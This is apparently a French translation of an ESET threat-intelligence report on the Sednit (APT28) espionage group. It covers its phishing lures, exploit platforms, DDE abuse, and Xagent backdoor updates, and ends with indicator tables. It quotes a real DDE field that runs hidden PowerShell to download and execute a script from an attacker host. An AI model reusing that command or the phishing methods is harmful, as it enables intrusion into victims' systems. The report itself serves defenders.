Le groupe Sednit - également connu sous les surnoms de Strontium, APT28, Fancy Bear ou Sofacy - est un groupe d'attaquants opérant depuis 2004, voir plus tôt et dont l'objectif principal est de voler des informations confidentielles sur des cibles spécifiques.
Cet article fait suite à la présentation d'ESET à BlueHat en novembre 2017. Vers la fin de l'année 2016, nous publions un livre blanc sur l'activité de Sednit entre 2014 et 2016. Nous avons continué depuis à suivre activement les activités de Sednit, et nous publions aujourd'hui un bref aperçu de ce que notre suivi a révélé en termes d'activités du groupe et de mises à jour de leur ensemble d'outils. La première section porte sur la mise à jour de leur méthodologie d'attaque, c'est-à-dire sur la manière dont ce groupe tente de compromettre leurs systèmes cibles. La seconde section porte sur l'évolution de leurs outils, avec un accent particulier sur l'analyse détaillée d'une nouvelle version de leur logiciel malveillant principal: Xagent.
Les campagnes
Au cours des dernières années, le groupe Sednit a utilisé diverses techniques pour déployer ses différentes composantes sur des ordinateurs cibles. L'attaque commence généralement par un courrier électronique contenant un lien malveillant ou une pièce jointe malveillante. Nous avons toutefois constaté "au cours de l'année" un changement dans les méthodes utilisés par ceux-ci. Sedkit était leur vecteur d'attaque préféré dans le passé, mais ce kit d'exploitation a complètement disparu depuis fin 2016. La plateforme d'exploitation DealersChoice a été leur méthode préférée depuis la publication de notre livre blanc, mais nous avons vu d'autres méthodes utilisées par ce groupe, comme les macros ou l'utilisation de Microsoft Word Dynamic Data Exchange.
Les trois sections suivantes décrivent les différentes méthodes utilisées par l'opérateur de Sednit pour s'implanter sur un système cible. Généralement, ces campagnes tentent d'installer Seduploader sur le système cible. Seduploader est une porte dérobée de première étape qui peut être utilisée pour évaluer l'importance de la cible et télécharger des programmes malveillants supplémentaires. Si le système présente un intérêt pour eux, il est probable que les opérateurs de Sednit finiront par y installer Xagent.
Sedkit (Kit d’exploit Sednit)
Sedkit était un kit d'exploitation utilisé exclusivement par le groupe Sednit. Au cours de sa vie, Sednit a exploité les vulnérabilités de diverses applications toujours vulnérables, mais surtout Adobe Flash et Internet Explorer. Lorsque Sedkit a été découvert pour la première fois, les victimes potentielles ont été redirigées vers sa page d'atterrissage grâce à un système de puits d'eau. A la suite de cette campagne, leur méthode préférée consistait à intégrer des liens malveillants dans les e-mails envoyés aux cibles de Sednit. Le déroulement du travail de Sedkit est illustré ci-dessous.
Entre août et septembre 2016, nous avons observé plusieurs campagnes d’envois de courrier électroniques différentes essayant d'attirer les destinataires de leurs messages sur une page d'atterrissage Sedkit. Les cibles de Sedkit à l'époque étaient surtout les ambassades et les partis politiques d'Europe centrale. La figure suivante montre un email contenant une telle URL.
Le courrier électronique tente de tromper son destinataire en lui faisant croire que le lien mènera finalement à une nouvelle intéressante. Dans ce cas, l'article est supposé concerner un tremblement de terre qui a frappé près de Rome en août 2016. Bien que le courrier électronique usurpe l'identité d'une personne que la victime pourrait juger digne de confiance, deux indices importants pourraient amener un destinataire attentif à conclure que ce message est faux. La première est qu'il y a des fautes d'orthographe (par exemple "Greetigs!"). Les fautes d'orthographe sont fréquentes dans les messages malveillants provenant de Sednit. La seconde est la partie domaine de l'URL. C'est un domaine purement malveillant, mais la partie chemin de l'URL imite en fait un lien réel et légitime. Dans ce cas particulier, le chemin URL est le même que celui utilisé dans une histoire de la BBC sur ce tremblement de terre. Encore une fois, il s'agit d'une tactique Sednit couramment utilisée, utilisant des histoires populaires trouvées sur les sites Web de nouvelles légitimes et redirigeant les cibles qui cliquent sur l'URL envoyée par courrier électronique vers le vrai site Web, mais pas avant de visiter la page d'atterrissage Sedkit. En plus de la BBC, The Huffington Post est un autre média populaire dont les histoires servent d'appât.
Le courrier électronique ci-dessous, comprenant le lien redirigeant vers Sedkit, présentes plusieurs caractéristiques dignes d’intérêt.
Tout d'abord, le sujet et le chemin URL du courrier électronique ne sont pas alignés: le premier fait référence à la Syrie et Alep tandis que le second fait référence à l'AMA et au piratage russe. Deuxièmement, il y a deux fautes d'orthographe flagrantes. D’abord, on remarque encore l'utilisation de "Greetigs!" La seconde erreur est "Nations Unated". On peut espérer qu'une personne travaillant pour le département des relations publiques des Nations Unies n'aurait pas commis une erreur aussi flagrante dans son bloc de signature.
La dernière campagne utilisant Sedkit a été observée en octobre 2016. Il est intéressant de noter que la disparition de Sedkit suit une tendance que nous avons observée avec d'autres kits d'exploitation. La plupart d'entre eux s'appuyaient sur les exploits des versions antérieures d'Internet Explorer ou de Flash pour effectuer des attaques drive-by download. Le déclin de la majorité des opérations de kits d'exploitation en 2016, y compris Sednit, pourrait bien être lié au durcissement du code effectué par Microsoft et Adobe.
Vous trouverez tous les détails sur le fonctionnement interne de Sedkit dans notre livre blanc publié précédemment.
DealersChoice
En août 2016, Palo Alto Networks a publié un article sur une nouvelle plateforme utilisée par Sednit pour briser un système initialement. Cette plateforme, qu'ils ont appelée DealersChoice, a la capacité de générer des documents malveillants avec des exploits intégrés Adobe Flash Player. Il existe deux variantes de cette plateforme. La première vérifie quelle version de Flash Player est installée sur le système et sélectionne ensuite l'une des trois vulnérabilités différentes. La deuxième variante contacte d'abord un serveur C&C qui livre l'exploit sélectionné et la charge utile malveillante finale. Bien sûr, la deuxième version est beaucoup plus difficile à analyser, car le document remis aux cibles ne contient pas toutes les pièces du puzzle.
Cette plateforme est encore utilisée aujourd'hui par Sednit et, à l'instar de Sedkit, suit les nouvelles internationales et inclut une référence à celles-ci dans leurs envois malveillants, dans le but d'attirer la cible vers l'ouverture de la pièce jointe du document malveillant. Parfois, ils utilisent aussi d'autres stratagèmes non politiques. En décembre 2016, ils ont utilisé un leurre assez inhabituel (pour le groupe) :
Ce courrier électronique a été envoyé à plusieurs ministères des Affaires étrangères et ambassades européennes les 22 et 23 décembre et contenait un document Word en pièce jointe qui semblait être une carte de Noël. Notez que c'était la première fois que nous avons vu le groupe Sednit utiliser un jeu d'hameçonnage non géopolitique tentant de piéger leurs cibles. Bien sûr, le document Word, s'il est ouvert, utilise DealersChoice pour tenter de compromettre le système. Sednit a utilisé DealersChoice de manière intensive fin 2016, mais la plateforme n'a pas été vue pendant longtemps par la suite. En fait, la première fois que nous les avons vus l'utiliser en 2017, c'était en octobre.
Nous n'avons pas le courrier électronique utilisé pour cette campagne en particulier, mais d'après le document sur les leurres, nous pouvons supposer que les employés des organismes gouvernementaux étaient les cibles. D'autres campagnes utilisant DealersChoice ont fait l'objet de différents articles de blogue publiés par des chercheurs en sécurité. Un exemple notable est celui de Proofpoint où ils détaillent l'ajout d'une nouvelle vulnérabilité Adobe Flash Player à la plateforme DealersChoice. Ceci indique que cette plateforme est toujours utilisée par ce groupe et en constante évolution.
Macros, VBA et DDE
Outre Sedkit et DealersChoice, les opérateurs de Sednit ont également continué à utiliser des méthodes éprouvées pour compromettre les systèmes qu'ils ciblent en s'appuyant sur des macros dans un document Microsoft Office, mais ont également utilisé d'autres méthodes. Une campagne qui a attiré beaucoup d'attention a ciblé un Ministère des affaires étrangères d'Europe de l'Est en avril 2017. Le courrier électronique suivant a été envoyé à un employé de ce ministère :
La pièce jointe contenait du code exploitant deux jours zéro : une escalade de privilèges locaux (LPE) et une exécution de code à distance (RCE). Ces deux jours nuls ont été rapportés par ESET à Microsoft. Une analyse détaillée de cette campagne est disponible sur notre article de blogue :
Le dernier cas présenté ici illustre comment les opérateurs de Sednit sont attentifs aux nouveaux développements techniques en matière de sécurité. Au début du mois d'octobre 2017, les chercheurs de SensePost ont rédigé un article sur les méthodes Microsoft Word, le protocole Dynamic Data Exchange (DDE). DDE est un moyen d'échanger des données entre applications. Par exemple, il permet de mettre à jour un tableau Word avec les données contenues dans un document Excel. Il est pratique, mais dans le cas d'au moins Word et Excel il peut aussi être utilisé pour exécuter du code arbitraire, si l'utilisateur ignore plusieurs messages d'avertissement. Suite à la publication de cet article, il n'a pas fallu longtemps pour découvrir les campagnes Sednit utilisant DDE pour exécuter du code à partir d'un serveur C&C. Dans ces campagnes, documentées par McAfee, le document appât est vide, mais il contient un champ caché contenant le code suivant:
"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # " "a slow internet connection" "try again later"
Ceci ne représente qu'un bref aperçu de la manière dont les opérateurs Sednit ont tenté de compromettre de nouvelles victimes depuis la publication de notre livre blanc. Comme vous pouvez le constater, ils sont tout aussi actifs qu'avant et continuent de cibler activement les gouvernements du monde entier.Si la victime potentielle visée ouvre le document et fait choisit imprudemment d'ignorer les avertissements, le script ci-dessus est exécuté et le binaire Seduploader est téléchargé du serveur C&C et exécuté sur le système de la cible.
Outillage
La section précédente montre comment le groupe Sednit a passé la dernière année du point de vue infection-vecteur. Cette section décrit les changements que ce groupe a apportés à leur ensemble d'outils. En 2016, ESET a publié une analyse approfondie de chaque composant; elle est disponible ici.
Au fil des ans, le groupe a mis au point un grand nombre de composantes pour infecter, recueillir et voler des informations à leurs cibles. Certaines de ces composantes ont disparu depuis, tandis que d'autres ont été améliorées.
Seduploader
Seduploader sert de logiciel malveillant de reconnaissance. Il est composé de deux composants distincts: un compte-gouttes et la charge utile persistante installée par ce compte-gouttes. Seduploader est toujours utilisé par le groupe Sednit mais il a reçu quelques améliorations. Au cours de la campagne d'avril 2017, une nouvelle version de Seduploader est sortie avec quelques nouvelles fonctionnalités, comme une fonction de capture d'écran ou la possibilité d'exécuter directement chargé en mémoire à partir du serveur C&C. Récemment, nous avons vu le compte-gouttes Seduploader remplacé par des commandes PowerShell livrant la charge utile Seduploader.
Xtunnel
Xtunnel est un outil de proxy réseau qui peut relayer n'importe quel type de trace réseau entre un serveur C&C sur Internet et un ordinateur terminal à l'intérieur d'un réseau local. Xtunnel est toujours utilisé par le groupe Sednit.
Sedkit
Sedkit est le kit d'exploitation de Sednit; il n'est utilisé que pour les attaques ciblées, à commencer par les courriers électroniques d'hameçonnage ciblé avec des URLs qui usurpent les URL légitimes. Octobre 2016, c'est la dernière fois que nous savons que Sedkit a été utilisé.
Sedreco
Sedreco sert de porte dérobée d'espionnage; ses fonctionnalités peuvent être étendues avec des plugins dynamiquement chargés. Il est composé de deux composants distincts: un compte-gouttes et la charge utile persistante installée par ce compte-gouttes. Nous n'avons pas vu cet élément depuis avril 2016.
USBStealer
USBStealer sert d'outil réseau qui extrait les informations sensibles des réseaux piqués par l'air. Nous n'avons pas vu cette composante au milieu de 2015.
Xagent
Xagent est une porte dérobée modulaire avec des fonctionnalités d'espionnage telles que l'enregistrement des frappes et l'exfiltration de fichiers. Xagent est la porte dérobée phare du groupe, très utilisée dans ses activités. Les premières versions pour Linux et Windows ont été vues il y a des années, puis en 2015 une version iOS est sortie. Un an plus tard, une version sous Android a été découverte et finalement, au début de 2017, un échantillon Xagent pour OS X a été décrit.
Nous avons observé une nouvelle version de Xagent sous Windows en février dernier. En raison des chaînes suivantes trouvées dans les binaires, nous avons déduit que c'était la version 4 de la porte dérobée. Les différentes versions des modules de Xagent sont répertoriées dans le tableau 1.
Tableau 1. Les versions de Xagent
module/canal | v3 uid | v4 uid |
---|---|---|
AgentKernel | 3303 | 4401 |
WinHttp | 2111 | 4402 |
ModuleFileSystem | 2103 | 4411 |
ModuleRemoteKeyLogger | 2107 | 4412 |
ProcessRetranslatorModule | 2106 | 4413 |
Inconnu [1] | ?? | 4414 |
La version 4 de Xagent comprend de nouvelles techniques pour l'obscurcissement des chaînes de caractères et toutes les informations de type Run-time (RTTI) sont également obscurcies. Ces techniques améliorent significativement la façon dont les chaînes de caractères sont chiffrées Les versions précédentes de Xagent utilisaient une boucle XOR pour décrypter les chaînes de caractères. Le nouvel algorithme de cryptage est une série d'opérations avec des valeurs probablement générées au moment de la compilation. La figure suivante illustre la complexité du code.
Cependant, le décompilateur HexRays effectue un bon travail de simplification. En voici un exemple :
return (((((a2 ^ (((((((((((a1 - 13 + 42) ^ 0x7B) + 104) ^ 0x72) - 81 - a2 - 76) ^ 0x31) + 75) ^ 0x3B) + 3) ^ 0x40) + 100) ^ 0x1C ^ 0xA9) + 41) ^ 0xB9) - 65) ^ 0xA) % 256;
Les versions antérieures supportaient la commande 2, PING_REQUEST. Celle-ci a été supprimée dans la version 4 mais l'opérateur peut toujours obtenir la liste des modules avec la commande GET_AGENT_INFO, qui est plus verbale que la commande précédente. Les commandes 34,35 et 36 ont montré des similitudes avec SET_PARAMETERS, qui permet l'interaction avec LocalStorage, qui est le magasin du noyau. Il contient à la fois un stockage basé sur des fichiers pour la communication avec le serveur C&C et un stockage de base du registre Microsoft pour stocker divers paramètres de configuration.L'AgentKernel peut recevoir des commandes du serveur C&C pour interagir avec les modules et les canaux. Certaines des commandes C&C précédemment vues ont été supprimées et de nouvelles commandes ont été ajoutées.
Une nouvelle fonctionnalité implémentée dans le canal WinHttp est un algorithme de génération de domaine (DGA) pour les domaines de secours. Le canal WinHttp est le canal responsable de la communication avec le serveur C&C. Contrairement à la DGA habituelle qui récupère sa graine à partir de nombres pseudo-aléatoires, celle-ci obtient une graine donnée (probablement générée lors de la compilation) pour un échantillon donné. La façon dont les domaines sont générés est la suivante:
- une série d'opérations sont appliquées à la semence;
- le résultat donne un décalage pour trois tableaux différents (ajout d'une autre graine pour chaque tableau);
- une fois le nouvel offset calculé (offset + graine), il déchiffre le mot;
- tous les mots sont concaténés (quatre mots sont utilisés pour générer le domaine; le quatrième mot vient du premier tableau mais avec un décalage différent);
- le suffixe « . com » est ajouté.
Le développement de la porte dérobée avec l'ajout de nouvelles fonctionnalités et la compatibilité avec toutes les plates-formes majeures font de Xagent la porte dérobée centrale utilisée par le groupe.
DealersChoice
DealersChoice est une plateforme qui génère des documents malveillants contenant des fichiers Adobe Flash intégrés. Les chercheurs de Palo Alto Network ont analysé deux variantes - la variante A, qui est une variante autonome comprenant le code d'exploitation Flash livré avec une charge utile, et la variante B, qui est une variante modulaire qui charge le code d'exploitation à la demande. Ce nouveau composant est apparu en 2016 et est toujours utilisé.
Downdelph
Downdelph est un téléchargeur léger développé dans le langage de programmation Delphi. Comme nous l'avons déjà mentionné dans notre livre blanc, sa période d'activité s’est écoulée de novembre 2013 à septembre 2015 et il n'y a pas eu de nouvelles variantes depuis.
Sommaire
Le groupe Sednit est sans aucun doute toujours un groupe actif. Le principal point d'entrée de leur porte dérobée phare est l'hameçonnage des courriers électroniques, et cette technique semble remporter beaucoup de succès. Xagent est le cœur de leur fonctionnement, que l'on retrouve désormais sur toutes les platesformes majeures, mobiles ou non. La version la plus récente de Xagent est très intéressante et les opérateurs semblent y avoir beaucoup travaillé. Nous avons vu depuis la découverte deux instances de Xagent dans la nature sauvage - l'une avec le canal et le module inconnu - l'autre avec tous les modules et le canal mais sans le module inconnu. On peut supposer que le groupe Sednit a ajouté un autre calque de vérification sur ses cibles en laissant tomber un Xagent avec juste quelques modules et si la victime est assez intéressante, elle laissera tomber une autre version avec tous les modules.
IoCs
Tableau 2. Hameçonnage
Document d’hameçonnage | SHA-1 | Nom de détection d’ESET |
---|---|---|
Bulletin.doc | 68064fc152e23d56e541714af52651cb4ba81aaf | Win32/Sednit.AX |
f3805382ae2e23ff1147301d131a06e00e4ff75f | Win32/Exploit.CVE-2016-4117.A | |
OC_PSO_2017.doc | 512bdfe937314ac3f195c462c395feeb36932971 | Win32/Exploit.Agent.NUB |
NASAMS.doc | 30b3e8c0f3f3cf200daa21c267ffab3cad64e68b | Win32/Exploit.Agent.NTR |
Programm_Details.doc | 4173b29a251cd9c1cab135f67cb60acab4ace0c5 | Win32/Exploit.Agent.NTO |
Operation_in_Mosul.rtf | 12a37cfdd3f3671074dd5b0f354269cec028fb52 | Win32/Exploit.Agent.NTR |
ARM-NATO_ENGLISH_30_NOV_2016.doc | 15201766bd964b7c405aeb11db81457220c31e46 | SWF/Agent.L |
Olympic-Agenda-2020-20-20-Recommendations.doc | 8078e411fbe33864dfd8f87ad5105cc1fd26d62e | Win32/Exploit.Agent.BL |
Merry_Christmas!.docx | 33447383379ca99083442b852589111296f0c603 | Win32/Exploit.Agent.NUG |
Trump’s_Attack_on_Syria_English.docx | d5235d136cfcadbef431eea7253d80bde414db9d | Win32/Exploit.Agent.NWZ |
Hotel_Reservation_Form.doc | f293a2bfb728060c54efeeb03c5323893b5c80df | Win32/Sednit.BN |
SB_Doc_2017-3_Implementation_of_Key_Taskings_and_Next_Steps.doc | bb10ed5d59672fbc6178e35d0feac0562513e9f0 | Win32/Sednit.BN |
4873bafe44cff06845faa0ce7c270c4ce3c9f7b9
169c8f3e3d22e192c108bc95164d362ce5437465 cc7607015cd7a1a4452acd3d87adabdd7e005bd7 |
Win32/Sednit.BN | |
Caucasian_Eagle_ENG.docx | 5d2c7d87995cc5b8184baba2c7a1900a48b2f42d | Win32/Exploit.Agent.NTM |
World War3.docx | 7aada8bcc0d1ab8ffb1f0fae4757789c6f5546a3 | SWF/Exploit.CVE-2017-11292.A |
SaberGuardian2017.docx | 68c2809560c7623d2307d8797691abf3eafe319a | VBA/DDE.E |
IsisAttackInNewYork.docx | 1c6c700ceebfbe799e115582665105caa03c5c9e | VBA/DDE.L |
Tableau 3. Échantillons de Seduploader
SHA-1 | Nom de détection d’ESET | Serveur C&C |
---|---|---|
9f6bed7d7f4728490117cbc85819c2e6c494251b | Win32/Sednit.AX | servicecdp[.]com:87.236.211[.]182 |
6e167da3c5d887fa2e58da848a2245d11b6c5ad6 | Win32/Sednit.BG | runvercheck[.]com:185.156.173[.]70 remsupport[.]org:191.101.31[.]96 |
e338d49c270baf64363879e5eecb8fa6bdde8ad9 | Win32/Sednit.BG | wmdmediacodecs[.]com:95.215.45[.]43 |
f9fd3f1d8da4ffd6a494228b934549d09e3c59d1 | Win32/Sednit.BN | mvband[.]net:89.45.67[.]144 mvtband[.]net:89.33.246[.]117 |
476fc1d31722ac26b46154cbf0c631d60268b28a | Win32/Sednit.BN | viters[.]org:89.187.150[.]44 |
8a68f26d01372114f660e32ac4c9117e5d0577f1 | Win32/Sednit.BN | myinvestgroup[.]com:146.185.253[.]132 |
9c47ca3883196b3a84d67676a804ff50e22b0a9f | Win32/Sednit.BR | space-delivery[.]com:86.106.131[.]141 |
ab354807e687993fbeb1b325eb6e4ab38d428a1e | Win32/Sednit.BS | satellitedeluxpanorama[.]com:89.34.111[.]160 |
4bc722a9b0492a50bd86a1341f02c74c0d773db7 | Win32/Sednit.BS | webviewres[.]net:185.216.35[.]26 |
Tableau 4. Échantillons de Xagent
SHA-1 | Nom de détection d’ESET | Serveur C&C |
---|---|---|
6f0fc0ebba3e4c8b26a69cdf519edf8d1aa2f4bb | Win64/Sednit.Z | movieultimate[.]com |
e19f753e514f6adec8f81bcdefb9117979e69627 | Win64/Sednit.Z | meteost[.]com |
961468ddd3d0fa25beb8210c81ba620f9170ed30 | Win32/Sednit.BO | faststoragefiles[.]org |
a0719b50265505c8432616c0a4e14ed206981e95 | Win32/Sednit.BO | nethostnet[.]com |
2cf6436b99d11d9d1e0c488af518e35162ecbc9c | Win64/Sednit.Y | faststoragefiles[.]org |
fec29b4f4dccc59770c65c128dfe4564d7c13d33 | Win64/Sednit.Y | fsportal[.]net |
57d7f3d31c491f8aef4665ca4dd905c3c8a98795 | Win64/Sednit.Z | fastdataexchange[.]org |
a3bf5b5cf5a5ef438a198a6f61f7225c0a4a7138 | Win32/Sednit.BO | newfilmts[.]com |
1958e722afd0dba266576922abc98aa505cf5f9a | Win32/Sednit.BO | newfilmts[.]com |
[1] Nous n’avons pas été capable d’associer ce module à des modules précédemment bien connus